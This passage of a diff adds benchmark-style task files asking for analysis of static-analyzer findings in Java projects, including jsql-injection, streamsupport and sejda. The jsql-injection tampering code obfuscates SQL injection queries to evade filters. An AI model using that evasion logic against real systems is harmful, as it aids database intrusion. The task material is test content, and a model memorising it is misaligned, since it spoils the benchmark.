+           lead = matcherSql.group(1);
+           sqlQuery = matcherSql.group(2);
+           trail = matcherSql.group(3);
+        }
+        
+        // Empty when checking character insertion
+        if (StringUtils.isEmpty(sqlQuery)) {
+            
+            return StringUtils.EMPTY;
+        }
+
+        if (this.isHexToChar) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.HEX_TO_CHAR.instance().getJavascript());
+        }
+        
+        if (this.isStringToChar) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.STRING_TO_CHAR.instance().getJavascript());
+        }
+
+        if (this.isFunctionComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.COMMENT_TO_METHOD_SIGNATURE.instance().getJavascript());
+        }
+
+        if (this.isVersionComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.VERSIONED_COMMENT_TO_METHOD_SIGNATURE.instance().getJavascript());
+        }
+        
+        if (this.isEqualToLike) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.EQUAL_TO_LIKE.instance().getJavascript());
+        }
+        
+        // Dependency to: EQUAL_TO_LIKE
+        if (this.isSpaceToDashComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_DASH_COMMENT.instance().getJavascript());
+            
+        } else if (this.isSpaceToMultilineComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_MULTILINE_COMMENT.instance().getJavascript());
+            
+        } else if (this.isSpaceToSharpComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_SHARP_COMMENT.instance().getJavascript());
+        }
+        
+        if (this.isRandomCase) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.RANDOM_CASE.instance().getJavascript());
+        }
+        
+        if (this.isEval) {
+            
+            sqlQuery = eval(sqlQuery, this.customTamper);
+        }
+        
+        if (this.isBase64) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.BASE64.instance().getJavascript());
+        }
+        
+        sqlQuery = lead + sqlQuery + trail;
+        
+        // Include character insertion at the beginning of query
+        if (this.isQuoteToUtf8) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.QUOTE_TO_UTF8.instance().getJavascript());
+        }
+        
+        // Problme si le tag contient des caractres spciaux
+        sqlQuery = sqlQuery.replaceAll("(?i)<tampering>", StringUtils.EMPTY);
+        sqlQuery = sqlQuery.replaceAll("(?i)</tampering>", StringUtils.EMPTY);
+        
+        return sqlQuery;
+    }
+    
+    // Getter and setter
+
+    public String getCustomTamper() {
+        return this.customTamper;
+    }
+
+    public void setCustomTamper(String customTamper) {
+        this.customTamper = customTamper;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `sqlQuery` last assigned on line 105 could be null and is dereferenced by call to `eval(...)` at line 151.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String TamperingUtil.tamper(String)
+
+### Procedure Id:
+com.jsql.util.TamperingUtil.tamper(java.lang.String):java.lang.String.aa514d6f071f5d042ed09af85497c39c
+
+### File:
+model/src/main/java/com/jsql/util/TamperingUtil.java
+
+### Key:
+TamperingUtil.java|tamper|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+db7685b9a1eb96dd595e615d429e20bf
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5682/instruction.md b/inferredbugs-5682/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..de5a45e980cd03c20fb614545325cc072230f396
--- /dev/null
+++ b/inferredbugs-5682/instruction.md
@@ -0,0 +1,275 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsql-injection
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.jsql.util;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.script.Invocable;
+import javax.script.ScriptEngine;
+import javax.script.ScriptException;
+
+import org.apache.commons.lang3.StringUtils;
+import org.apache.log4j.Logger;
+
+import com.jsql.util.tampering.TamperingType;
+
+import jdk.nashorn.api.scripting.NashornScriptEngineFactory;
+
+public class TamperingUtil {
+    
+    /**
+     * Log4j logger sent to view.
+     */
+    private static final Logger LOGGER = Logger.getRootLogger();
+    
+    private boolean isBase64 = false;
+    private boolean isVersionComment = false;
+    private boolean isFunctionComment = false;
+    private boolean isEqualToLike = false;
+    private boolean isRandomCase = false;
+    private boolean isHexToChar = false;
+    private boolean isStringToChar = false;
+    private boolean isQuoteToUtf8 = false;
+    private boolean isEval = false;
+    private boolean isSpaceToMultilineComment = false;
+    private boolean isSpaceToDashComment = false;
+    private boolean isSpaceToSharpComment = false;
+    
+    private String customTamper = null;
+    
+    private static final NashornScriptEngineFactory NASHORN_FACTORY = new NashornScriptEngineFactory();
+
+    // TODO builder
+    public void set(
+        boolean isBase64,
+        boolean isVersionComment,
+        boolean isFunctionComment,
+        boolean isEqualToLike,
+        boolean isRandomCase,
+        boolean isHexToChar,
+        boolean isQuoteToUtf8,
+        boolean isEval,
+        boolean isSpaceToMultilineComment,
+        boolean isSpaceToDashComment,
+        boolean isSpaceToSharpComment,
+        boolean isStringToChar
+    ) {
+        
+        this.isBase64 = isBase64;
+        this.isVersionComment = isVersionComment;
+        this.isFunctionComment = isFunctionComment;
+        this.isEqualToLike = isEqualToLike;
+        this.isRandomCase = isRandomCase;
+        this.isHexToChar = isHexToChar;
+        this.isQuoteToUtf8 = isQuoteToUtf8;
+        this.isEval = isEval;
+        this.isSpaceToMultilineComment = isSpaceToMultilineComment;
+        this.isSpaceToDashComment = isSpaceToDashComment;
+        this.isSpaceToSharpComment = isSpaceToSharpComment;
+        this.isStringToChar = isStringToChar;
+    }
+    
+    private static String eval(String sqlQuery, String jsTampering) {
+        
+        Object resultSqlTampered = null;
+        
+        try {
+            if (StringUtils.isEmpty(jsTampering)) {
+                
+                throw new ScriptException("Tampering context is empty");
+            }
+            
+            ScriptEngine nashornEngine = NASHORN_FACTORY.getScriptEngine();
+            nashornEngine.eval(jsTampering);
+            
+            Invocable nashornInvocable = (Invocable) nashornEngine;
+            resultSqlTampered = nashornInvocable.invokeFunction("tampering", sqlQuery);
+            
+        } catch (ScriptException e) {
+            
+            LOGGER.warn("Tampering context contains errors: " + e.getMessage(), e);
+            resultSqlTampered = sqlQuery;
+            
+        } catch (NoSuchMethodException e) {
+            
+            LOGGER.warn("Tampering context is not properly defined: " + e.getMessage(), e);
+            LOGGER.warn("Minimal tampering context is: var tampering = function(sql) {return sql}");
+            resultSqlTampered = sqlQuery;
+        }
+        
+        return resultSqlTampered.toString();
+    }
+    
+    public String tamper(String sqlQueryDefault) {
+        
+        String lead = null;
+        String sqlQuery = null;
+        String trail = null;
+        
+        Matcher matcherSql = Pattern.compile("(?s)(.*<tampering>)(.*)(</tampering>.*)").matcher(sqlQueryDefault);
+        
+        if (matcherSql.find()) {
+            
+           lead = matcherSql.group(1);
+           sqlQuery = matcherSql.group(2);
+           trail = matcherSql.group(3);
+        }
+        
+        // Empty when checking character insertion
+        if (StringUtils.isEmpty(sqlQuery)) {
+            
+            return StringUtils.EMPTY;
+        }
+
+        if (this.isHexToChar) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.HEX_TO_CHAR.instance().getJavascript());
+        }
+        
+        if (this.isStringToChar) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.STRING_TO_CHAR.instance().getJavascript());
+        }
+
+        if (this.isFunctionComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.COMMENT_TO_METHOD_SIGNATURE.instance().getJavascript());
+        }
+
+        if (this.isVersionComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.VERSIONED_COMMENT_TO_METHOD_SIGNATURE.instance().getJavascript());
+        }
+        
+        if (this.isEqualToLike) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.EQUAL_TO_LIKE.instance().getJavascript());
+        }
+        
+        // Dependency to: EQUAL_TO_LIKE
+        if (this.isSpaceToDashComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_DASH_COMMENT.instance().getJavascript());
+            
+        } else if (this.isSpaceToMultilineComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_MULTILINE_COMMENT.instance().getJavascript());
+            
+        } else if (this.isSpaceToSharpComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_SHARP_COMMENT.instance().getJavascript());
+        }
+        
+        if (this.isRandomCase) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.RANDOM_CASE.instance().getJavascript());
+        }
+        
+        if (this.isEval) {
+            
+            sqlQuery = eval(sqlQuery, this.customTamper);
+        }
+        
+        if (this.isBase64) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.BASE64.instance().getJavascript());
+        }
+        
+        sqlQuery = lead + sqlQuery + trail;
+        
+        // Include character insertion at the beginning of query
+        if (this.isQuoteToUtf8) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.QUOTE_TO_UTF8.instance().getJavascript());
+        }
+        
+        // Problme si le tag contient des caractres spciaux
+        sqlQuery = sqlQuery.replaceAll("(?i)<tampering>", StringUtils.EMPTY);
+        sqlQuery = sqlQuery.replaceAll("(?i)</tampering>", StringUtils.EMPTY);
+        
+        return sqlQuery;
+    }
+    
+    // Getter and setter
+
+    public String getCustomTamper() {
+        return this.customTamper;
+    }
+
+    public void setCustomTamper(String customTamper) {
+        this.customTamper = customTamper;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `sqlQuery` last assigned on line 105 could be null and is dereferenced by call to `eval(...)` at line 169.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String TamperingUtil.tamper(String)
+
+### Procedure Id:
+com.jsql.util.TamperingUtil.tamper(java.lang.String):java.lang.String.aa514d6f071f5d042ed09af85497c39c
+
+### File:
+model/src/main/java/com/jsql/util/TamperingUtil.java
+
+### Key:
+TamperingUtil.java|tamper|NULL_DEREFERENCE
+
+### Node Key:
+c5d655824f6f14efbd11e3ff5ffdc624
+
+### Hash:
+db7685b9a1eb96dd595e615d429e20bf
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5683/instruction.md b/inferredbugs-5683/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d391f1c7d9d767add6bfe825fa82624ca3140627
--- /dev/null
+++ b/inferredbugs-5683/instruction.md
@@ -0,0 +1,136 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsql-injection
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.jsql.view.swing.menubar;
+
+import java.awt.Desktop;
+import java.awt.event.ActionEvent;
+import java.awt.event.ActionListener;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.net.URLConnection;
+
+import org.apache.log4j.Logger;
+
+import com.jsql.i18n.I18n;
+import com.jsql.model.injection.InjectionModel;
+import com.jsql.view.swing.MediatorGUI;
+
+public class ActionCheckUpdate implements ActionListener, Runnable {
+    /**
+     * Log4j logger sent to view.
+     */
+    private static final Logger LOGGER = Logger.getLogger(ActionCheckUpdate.class);
+
+    @Override
+    public void run() {
+        try {
+            LOGGER.info(I18n.UPDATE_LOADING);
+            URLConnection con = new URL("http://jsql-injection.googlecode.com/git/.version").openConnection();
+            con.setReadTimeout(60000);
+            con.setConnectTimeout(60000);
+
+            BufferedReader reader = new BufferedReader(new InputStreamReader(con.getInputStream()));
+            String line, pageSource = "";
+            while ((line = reader.readLine()) != null) {
+                pageSource += line + "\n";
+            }
+            reader.close();
+
+            Float gitVersion = Float.parseFloat(pageSource);
+            MediatorGUI.model();
+            if (gitVersion <= Float.parseFloat(InjectionModel.JSQLVERSION)) {
+                LOGGER.debug(I18n.UPDATE_UPTODATE);
+            } else {
+                LOGGER.warn(I18n.UPDATE_NEW_VERSION_AVAILABLE);
+            }
+        } catch (NumberFormatException e) {
+            LOGGER.warn(I18n.UPDATE_EXCEPTION);
+            LOGGER.error(e, e);
+        } catch (IOException e) {
+            LOGGER.warn(I18n.UPDATE_EXCEPTION);
+            LOGGER.error(e, e);
+        }
+    }
+
+    @Override
+    public void actionPerformed(ActionEvent e) {
+        new Thread(this, "Menubar - Check update").start();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 34 is not released after line 48.
+**Note**: potential exception at line 36
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ActionCheckUpdate.run()
+
+### Procedure Id:
+com.jsql.view.swing.menubar.ActionCheckUpdate.run():void.9ca92e48840f1d79be57e8e994898fb6
+
+### File:
+src/com/jsql/view/swing/menubar/ActionCheckUpdate.java
+
+### Key:
+ActionCheckUpdate.java|run|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+606f811de7011bb124be7c0ec7432c73
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5705/instruction.md b/inferredbugs-5705/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5de4617390ce16535d14bbde2666ef407ec7bdae
--- /dev/null
+++ b/inferredbugs-5705/instruction.md
@@ -0,0 +1,250 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** streamsupport
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2012, 2016, Oracle and/or its affiliates. All rights reserved.
+ * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+ *
+ * This code is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 only, as
+ * published by the Free Software Foundation.  Oracle designates this
+ * particular file as subject to the "Classpath" exception as provided
+ * by Oracle in the LICENSE file that accompanied this code.
+ *
+ * This code is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ * version 2 for more details (a copy is included in the LICENSE file that
+ * accompanied this code).
+ *
+ * You should have received a copy of the GNU General Public License version
+ * 2 along with this work; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ * or visit www.oracle.com if you need additional information or have any
+ * questions.
+ */
+package java8.util;
+
+import java.util.AbstractList;
+import java.util.Comparator;
+import java.util.ConcurrentModificationException;
+import java.util.Vector;
+
+import java8.util.Spliterator;
+import java8.util.function.Consumer;
+
+/** Similar to ArrayListSpliterator */
+final class VectorSpliterator<E> implements Spliterator<E> {
+// CVS rev. 1.37
+    private final Vector<E> list;
+    private Object[] array;
+    private int index; // current index, modified on advance/split
+    private int fence; // -1 until used; then one past last index
+    private int expectedModCount; // initialized when fence set
+
+    /** Create new spliterator covering the given range */
+    private VectorSpliterator(Vector<E> list, Object[] array, int origin, int fence,
+                      int expectedModCount) {
+        this.list = list;
+        this.array = array;
+        this.index = origin;
+        this.fence = fence;
+        this.expectedModCount = expectedModCount;
+    }
+
+    static <T> Spliterator<T> spliterator(Vector<T> vec) {
+        return new VectorSpliterator<T>(vec, null, 0, -1, 0);
+    }
+
+    private int getFence() { // initialize on first use
+        int hi;
+        if ((hi = fence) < 0) {
+            synchronized (list) {
+                array = getData(list);
+                expectedModCount = getModCount(list);
+                hi = fence = getSize(list);
+            }
+        }
+        return hi;
+    }
+
+    @Override
+    public Spliterator<E> trySplit() {
+        int hi = getFence(), lo = index, mid = (lo + hi) >>> 1;
+        return (lo >= mid) ? null :
+            new VectorSpliterator<E>(list, array, lo, index = mid,
+                                     expectedModCount);
+    }
+
+    @Override
+    @SuppressWarnings("unchecked")
+    public boolean tryAdvance(Consumer<? super E> action) {
+        Objects.requireNonNull(action);
+        int i;
+        if (getFence() > (i = index)) {
+            index = i + 1;
+            action.accept((E) array[i]);
+            if (expectedModCount != getModCount(list)) {
+                throw new ConcurrentModificationException();
+            }
+            return true;
+        }
+        return false;
+    }
+
+    @Override
+    @SuppressWarnings("unchecked")
+    public void forEachRemaining(Consumer<? super E> action) {
+        Objects.requireNonNull(action);
+        int i, hi; // hoist accesses and checks from loop
+        Vector<E> lst = list;
+        Object[] a;
+        if ((hi = fence) < 0) {
+            synchronized (lst) {
+                expectedModCount = getModCount(lst);
+                a = array = getData(lst);
+                hi = fence = getSize(lst);
+            }
+        } else {
+            a = array;
+        }
+        if (a != null && (i = index) >= 0 && (index = hi) <= a.length) {
+            while (i < hi) {
+                action.accept((E) a[i++]);
+            }
+            if (expectedModCount == getModCount(lst)) {
+                return;
+            }
+        }
+        throw new ConcurrentModificationException();
+    }
+
+    @Override
+    public long estimateSize() {
+        return (long) (getFence() - index);
+    }
+
+    @Override
+    public int characteristics() {
+        return Spliterator.ORDERED | Spliterator.SIZED | Spliterator.SUBSIZED;
+    }
+
+    @Override
+    public Comparator<? super E> getComparator() {
+        return Spliterators.getComparator(this);
+    }
+
+    @Override
+    public long getExactSizeIfKnown() {
+        return Spliterators.getExactSizeIfKnown(this);
+    }
+
+    @Override
+    public boolean hasCharacteristics(int characteristics) {
+        return Spliterators.hasCharacteristics(this, characteristics);
+    }
+
+    private static <T> int getSize(Vector<T> lst) {
+        return U.getInt(lst, SIZE_OFF);
+    }
+
+    private static <T> int getModCount(Vector<T> lst) {
+        return U.getInt(lst, MODCOUNT_OFF);
+    }
+
+    private static <T> Object[] getData(Vector<T> lst) {
+        return (Object[]) U.getObject(lst, DATA_OFF);
+    }
+
+    // Unsafe mechanics
+    private static final sun.misc.Unsafe U = UnsafeAccess.unsafe;
+    private static final long SIZE_OFF;
+    private static final long MODCOUNT_OFF;
+    private static final long DATA_OFF;
+    static {
+        try {
+            MODCOUNT_OFF = U.objectFieldOffset(AbstractList.class
+                    .getDeclaredField("modCount"));
+            SIZE_OFF = U.objectFieldOffset(Vector.class
+                    .getDeclaredField("elementCount"));
+            DATA_OFF = U.objectFieldOffset(Vector.class
+                    .getDeclaredField("elementData"));
+        } catch (Exception e) {
+            throw new Error(e);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `java8.util.VectorSpliterator.forEachRemaining` reads without synchronization from `this.java8.util.VectorSpliterator.fence`. Potentially races with write in method `VectorSpliterator.trySplit()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void VectorSpliterator.forEachRemaining(Consumer)
+
+### Procedure Id:
+java8.util.VectorSpliterator.forEachRemaining(java8.util.function.Consumer):void.67007d52682ed3c5d43db299592139b2
+
+### File:
+src/main/java/java8/util/VectorSpliterator.java
+
+### Key:
+VectorSpliterator.java|forEachRemaining|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+1a3dbd01f21e8d244823bcea4167a98f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5812/instruction.md b/inferredbugs-5812/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..03f86deceb2be86881d7a64488c9a7dfc95f9d4d
--- /dev/null
+++ b/inferredbugs-5812/instruction.md
@@ -0,0 +1,531 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sejda
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Created on 12 gen 2016
+ * Copyright 2015 by Andrea Vacondio (andrea.vacondio@gmail.com).
+ * This file is part of Sejda.
+ *
+ * Sejda is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU Affero General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Sejda is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Affero General Public License for more details.
+ *
+ * You should have received a copy of the GNU Affero General Public License
+ * along with Sejda.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.sejda.core.service;
+
+import static java.util.Objects.nonNull;
+import static org.apache.commons.lang3.StringUtils.isNotEmpty;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.ByteArrayOutputStream;
+import java.io.Closeable;
+import java.io.File;
+import java.io.IOException;
+import java.nio.file.FileVisitResult;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.SimpleFileVisitor;
+import java.nio.file.attribute.BasicFileAttributes;
+import java.util.Arrays;
+import java.util.Set;
+import java.util.function.Consumer;
+import java.util.stream.Collectors;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.sejda.core.Sejda;
+import org.sejda.io.SeekableSource;
+import org.sejda.io.SeekableSources;
+import org.sejda.model.SejdaFileExtensions;
+import org.sejda.model.output.DirectoryTaskOutput;
+import org.sejda.model.output.FileTaskOutput;
+import org.sejda.model.output.StreamTaskOutput;
+import org.sejda.model.parameter.base.MultipleOutputTaskParameters;
+import org.sejda.model.parameter.base.SingleOutputTaskParameters;
+import org.sejda.model.pdf.PdfVersion;
+import org.sejda.sambox.input.PDFParser;
+import org.sejda.sambox.pdmodel.PDDocument;
+import org.sejda.sambox.pdmodel.interactive.documentnavigation.outline.PDDocumentOutline;
+import org.sejda.sambox.pdmodel.interactive.documentnavigation.outline.PDOutlineItem;
+import org.sejda.sambox.pdmodel.interactive.documentnavigation.outline.PDOutlineNode;
+
+/**
+ * Context to be used in tests
+ * 
+ * @author Andrea Vacondio
+ *
+ */
+public class TaskTestContext implements Closeable {
+
+    private ByteArrayOutputStream streamOutput;
+    private File fileOutput;
+    private PDDocument outputDocument;
+
+    /**
+     * Initialize the given params with a {@link StreamTaskOutput}
+     * 
+     * @param params
+     * @return
+     */
+    public TaskTestContext streamOutputTo(MultipleOutputTaskParameters params) {
+        this.streamOutput = new ByteArrayOutputStream();
+        params.setOutput(new StreamTaskOutput(streamOutput));
+        return this;
+    }
+
+    /**
+     * Initialize the given params with a {@link StreamTaskOutput}
+     * 
+     * @param params
+     * @return
+     */
+    public TaskTestContext streamOutputTo(SingleOutputTaskParameters params) {
+        this.streamOutput = new ByteArrayOutputStream();
+        params.setOutput(new StreamTaskOutput(streamOutput));
+        return this;
+    }
+
+    /**
+     * Initialize the given params with a {@link FileTaskOutput}
+     * 
+     * @param params
+     * @return
+     */
+    public TaskTestContext pdfOutputTo(SingleOutputTaskParameters params) throws IOException {
+        this.fileOutput = File.createTempFile("SejdaTest", ".pdf");
+        this.fileOutput.deleteOnExit();
+        params.setOutput(new FileTaskOutput(fileOutput));
+        return this;
+    }
+
+    /**
+     * Initialize the given params with a {@link FileTaskOutput} on a file with the given extension
+     * 
+     * @param params
+     * @param extension
+     * @return
+     * @throws IOException
+     */
+    public TaskTestContext fileOutputTo(SingleOutputTaskParameters params, String extension) throws IOException {
+        this.fileOutput = File.createTempFile("SejdaTest", extension);
+        this.fileOutput.deleteOnExit();
+        params.setOutput(new FileTaskOutput(fileOutput));
+        return this;
+    }
+
+    /**
+     * Initialize the given params with a {@link DirectoryTaskOutput}
+     * 
+     * @param params
+     * @return
+     * @throws IOException
+     */
+    public TaskTestContext directoryOutputTo(MultipleOutputTaskParameters params) throws IOException {
+        this.fileOutput = Files.createTempDirectory("SejdaTest").toFile();
+        this.fileOutput.deleteOnExit();
+        params.setOutput(new DirectoryTaskOutput(fileOutput));
+        return this;
+    }
+
+    /**
+     * asserts the creator has been set to the info dictionary
+     * 
+     * @return
+     */
+    public TaskTestContext assertCreator() {
+        requirePDDocument();
+        assertEquals(Sejda.CREATOR, outputDocument.getDocumentInformation().getCreator());
+        return this;
+    }
+
+    /**
+     * asserts the PDF version of the output is the given one
+     * 
+     * @return
+     */
+    public TaskTestContext assertVersion(PdfVersion version) {
+        requirePDDocument();
+        assertEquals("Wrong output PDF version", version.getVersionString(), outputDocument.getVersion());
+        return this;
+    }
+
+    /**
+     * asserts the output document has that number of pages
+     * 
+     * @return
+     */
+    public TaskTestContext assertPages(int expected) {
+        requirePDDocument();
+        assertEquals("Wrong number of pages", expected, outputDocument.getNumberOfPages());
+        return this;
+    }
+
+    /**
+     * asserts the output document with the given filename exists and has that number of pages. This assert will work only for multiple output task.
+     * 
+     * @return
+     * @throws IOException
+     * @see this{@link #assertPages(int)}
+     */
+    public TaskTestContext assertPages(String filename, int expected) throws IOException {
+        assertOutputContainsFilenames(filename);
+        try (PDDocument doc = PDFParser.parse(SeekableSources.seekableSourceFrom(new File(fileOutput, filename)))) {
+            assertEquals(expected, doc.getNumberOfPages());
+        }
+        return this;
+    }
+
+    /**
+     * @param hasOutline
+     */
+    public TaskTestContext assertHasOutline(boolean hasOutline) {
+        requirePDDocument();
+        if (hasOutline) {
+            assertNotNull(outputDocument.getDocumentCatalog().getDocumentOutline());
+        } else {
+            assertNull(outputDocument.getDocumentCatalog().getDocumentOutline());
+        }
+        return this;
+    }
+
+    /**
+     * assert that the document has an acroform with some field in it
+     * 
+     * @param hasForms
+     */
+    public TaskTestContext assertHasAcroforms(boolean hasForms) {
+        requirePDDocument();
+        if (hasForms) {
+            assertNotNull(outputDocument.getDocumentCatalog().getAcroForm());
+            assertTrue(outputDocument.getDocumentCatalog().getAcroForm().getFields().size() > 0);
+        } else {
+            assertNull(outputDocument.getDocumentCatalog().getAcroForm());
+        }
+        return this;
+    }
+
+    /**
+     * assert the document outline contains an item with the given title
+     * 
+     * @param string
+     * @return
+     */
+    public TaskTestContext assertOutlineContains(String title) {
+        requirePDDocument();
+        PDDocumentOutline outline = outputDocument.getDocumentCatalog().getDocumentOutline();
+        assertNotNull(outline);
+        if (!findOutlineItem(title, outline)) {
+            fail("Unable to find outline node with title: " + title);
+        }
+        return this;
+    }
+
+    /**
+     * assert the document outline doesn't contain an item with the given title
+     * 
+     * @param string
+     * @return
+     */
+    public TaskTestContext assertOutlineDoesntContain(String title) {
+        requirePDDocument();
+        PDDocumentOutline outline = outputDocument.getDocumentCatalog().getDocumentOutline();
+        if (nonNull(outline)) {
+            if (findOutlineItem(title, outline)) {
+                fail("Found outline node with title: " + title);
+            }
+        }
+        return this;
+
+    }
+
+    private boolean findOutlineItem(String title, PDOutlineNode node) {
+        boolean found = false;
+        if (node.hasChildren()) {
+            for (PDOutlineItem current : node.children()) {
+                found = findOutlineItem(title, current);
+                if (found) {
+                    return true;
+                }
+            }
+        }
